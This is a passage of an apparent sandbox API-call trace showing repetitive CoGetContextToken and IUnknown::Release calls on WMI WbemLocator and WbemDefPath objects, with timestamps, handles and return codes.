(This=0x1bce60e0) returned 0x1 [0158.774] WbemLocator:IUnknown:Release (This=0x1bce60e0) returned 0x0 [0158.774] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.774] WbemLocator:IUnknown:Release (This=0x1bce7bd0) returned 0x1 [0158.774] WbemLocator:IUnknown:Release (This=0x1bce7bd0) returned 0x0 [0158.775] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.775] WbemLocator:IUnknown:Release (This=0x1bce8290) returned 0x1 [0158.775] WbemLocator:IUnknown:Release (This=0x1bce8290) returned 0x0 [0158.775] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.776] WbemLocator:IUnknown:Release (This=0x1bce6620) returned 0x1 [0158.776] WbemLocator:IUnknown:Release (This=0x1bce6620) returned 0x0 [0158.776] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.776] WbemLocator:IUnknown:Release (This=0x1aa0d8b0) returned 0x1 [0158.776] WbemLocator:IUnknown:Release (This=0x1aa0d8b0) returned 0x0 [0158.776] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.776] WbemLocator:IUnknown:Release (This=0x1bb976d0) returned 0x1 [0158.776] WbemLocator:IUnknown:Release (This=0x1bb976d0) returned 0x0 [0158.776] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.777] WbemLocator:IUnknown:Release (This=0x1aa0d2d0) returned 0x1 [0158.777] WbemLocator:IUnknown:Release (This=0x1aa0d2d0) returned 0x0 [0158.777] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.777] IUnknown:Release (This=0x1bbb7a60) returned 0x1 [0158.777] CoGetContextToken (in: pToken=0x1a92fa10 | out: pToken=0x1a92fa10) returned 0x0 [0158.777] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.777] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x1 [0158.777] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x0 [0158.777] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.777] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x1 [0158.777] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x0 [0158.777] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.777] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x1 [0158.777] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x0 [0158.777] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.777] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x1 [0158.778] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x0 [0158.778] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.778] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x1 [0158.778] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x0 [0158.778] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.778] WbemDefPath:IUnknown:Release (This=0x1a97fc10) returned 0x1 [0158.778] WbemDefPath:IUnknown:Release (This=0x1a97fc10) returned 0x0 [0158.778] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.778] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x1 [0158.778] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x0 [0158.778] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.778] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x1 [0158.778] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x0 [0158.778] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.778] WbemDefPath:IUnknown:Release (This=0x1a97ffd0) returned 0x1 [0158.778] WbemDefPath:IUnknown:Release (This=0x1a97ffd0) returned 0x0 [0158.779] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x1 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x0 [0158.779] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x1 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x0 [0158.779] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x1 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x0 [0158.779] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x1 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x0 [0158.779] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x1 [0158.779] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x0 [0158.779] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.780] WbemDefPath:IUnknown:Release (This=0x1a980450) returned 0x1 [0158.780] WbemDefPath:IUnknown:Release (This=0x1a980450) returned 0x0 [0158.780] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.780] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x1 [0158.780] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x0 [0158.780] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.780] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x1 [0158.780] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x0 [0158.780] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.780] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x1 [0158.780] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x0 [0158.780] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.780] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x1 [0158.780] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x0 [0158.780] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.780] WbemDefPath:IUnknown:Release (This=0x1a980810) returned 0x1 [0158.781] WbemDefPath:IUnknown:Release (This=0x1a980810) returned 0x0 [0158.781] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.781] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x1 [0158.781] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x0 [0158.781] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.781] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x1 [0158.781] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x0 [0158.781] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.781] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x1 [0158.781] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x0 [0158.781] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.781] WbemDefPath:IUnknown:Release (This=0x1a980c90) returned 0x1 [0158.781] WbemDefPath:IUnknown:Release (This=0x1a980c90) returned 0x0 [0158.781] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.781] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x1 [0158.781] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x0 [0158.781] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x1 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x0 [0158.782] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x1 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x0 [0158.782] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x1 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x0 [0158.782] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x1 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x0 [0158.782] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x1 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x0 [0158.782] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x1 [0158.782] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x0 [0158.783] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x1 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x0 [0158.783] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x1 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x0 [0158.783] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x1 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x0 [0158.783] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x1 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x0 [0158.783] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x1 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x0 [0158.783] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.783] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x1 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x0 [0158.784] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x1 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x0 [0158.784] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x1 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x0 [0158.784] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x1 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x0 [0158.784] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x1 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x0 [0158.784] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x1 [0158.784] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x0 [0158.785] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x1 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x0 [0158.785] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x1 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x0 [0158.785] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x1 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x0 [0158.785] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x1 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x0 [0158.785] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x1 [0158.785] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x0 [0158.786] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x1 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x0 [0158.786] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x1 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x0 [0158.786] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x1 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x0 [0158.786] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x1 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x0 [0158.786] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x1 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x0 [0158.786] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.786] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x1 [0158.787] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x0 [0158.787] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.787] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x1 [0158.787] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x0 [0158.787] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.787] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x1 [0158.787] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x0 [0158.787] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.787] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x1 [0158.787] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x0 [0158.787] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.787] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x1 [0158.787] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x0 [0158.787] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.787] WbemDefPath:IUnknown:Release (This=0x1bc93a30) returned 0x1 [0158.787] WbemDefPath:IUnknown:Release (This=0x1bc93a30) returned 0x0 [0158.788] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.788] WbemDefPath:IUnknown:Release (This=0x1bc93af0) returned 0x1 [0158.788] WbemDefPath:IUnknown:Release (This=0x1bc93af0) returned 0x0 [0158.788] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.788] WbemDefPath:IUnknown:Release (This=0x1bc93bb0) returned 0x1 [0158.788] WbemDefPath:IUnknown:Release (This=0x1bc93bb0) returned 0x0 [0158.788] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.788] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x1 [0158.788] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x0 [0158.788] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.788] WbemDefPath:IUnknown:Release (This=0x1bc93df0) returned 0x1 [0158.788] WbemDefPath:IUnknown:Release (This=0x1bc93df0) returned 0x0 [0158.788] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.788] WbemDefPath:IUnknown:Release (This=0x1bc93eb0) returned 0x1 [0158.788] WbemDefPath:IUnknown:Release (This=0x1bc93eb0) returned 0x0 [0158.788] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bc93f70) returned 0x1 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bc93f70) returned 0x0 [0158.789] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bc94030) returned 0x1 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bc94030) returned 0x0 [0158.789] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bbbefe0) returned 0x1 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bbbefe0) returned 0x0 [0158.789] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bc94270) returned 0x1 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bc94270) returned 0x0 [0158.789] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bc94330) returned 0x1 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bc94330) returned 0x0 [0158.789] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.789] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x1 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x0 [0158.790] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x1 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x0 [0158.790] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bbbf460) returned 0x1 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bbbf460) returned 0x0 [0158.790] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x1 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x0 [0158.790] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x1 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x0 [0158.790] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x1 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x0 [0158.790] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.790] WbemDefPath:IUnknown:Release (This=0x1bbbf820) returned 0x1 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bbbf820) returned 0x0 [0158.791] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x1 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x0 [0158.791] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x1 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x0 [0158.791] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x1 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x0 [0158.791] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bbbfca0) returned 0x1 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bbbfca0) returned 0x0 [0158.791] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x1 [0158.791] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x0 [0158.791] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x1 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x0 [0158.792] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x1 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x0 [0158.792] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x1 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x0 [0158.792] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bbc0060) returned 0x1 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bbc0060) returned 0x0 [0158.792] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x1 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x0 [0158.792] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x1 [0158.792] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x0 [0158.793] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x1 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x0 [0158.793] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x1 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x0 [0158.793] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bbc04e0) returned 0x1 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bbc04e0) returned 0x0 [0158.793] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x1 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x0 [0158.793] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x1 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x0 [0158.793] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.793] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x1 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x0 [0158.794] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bbc08a0) returned 0x1 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bbc08a0) returned 0x0 [0158.794] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x1 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x0 [0158.794] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x1 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x0 [0158.794] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x1 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x0 [0158.794] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x1 [0158.794] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x0 [0158.794] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x1 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x0 [0158.795] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x1 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x0 [0158.795] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bc1a3e0) returned 0x1 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bc1a3e0) returned 0x0 [0158.795] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x1 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x0 [0158.795] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bc1a7a0) returned 0x1 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bc1a7a0) returned 0x0 [0158.795] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x1 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x0 [0158.795] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.795] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x1 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x0 [0158.796] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x1 [0158.796] 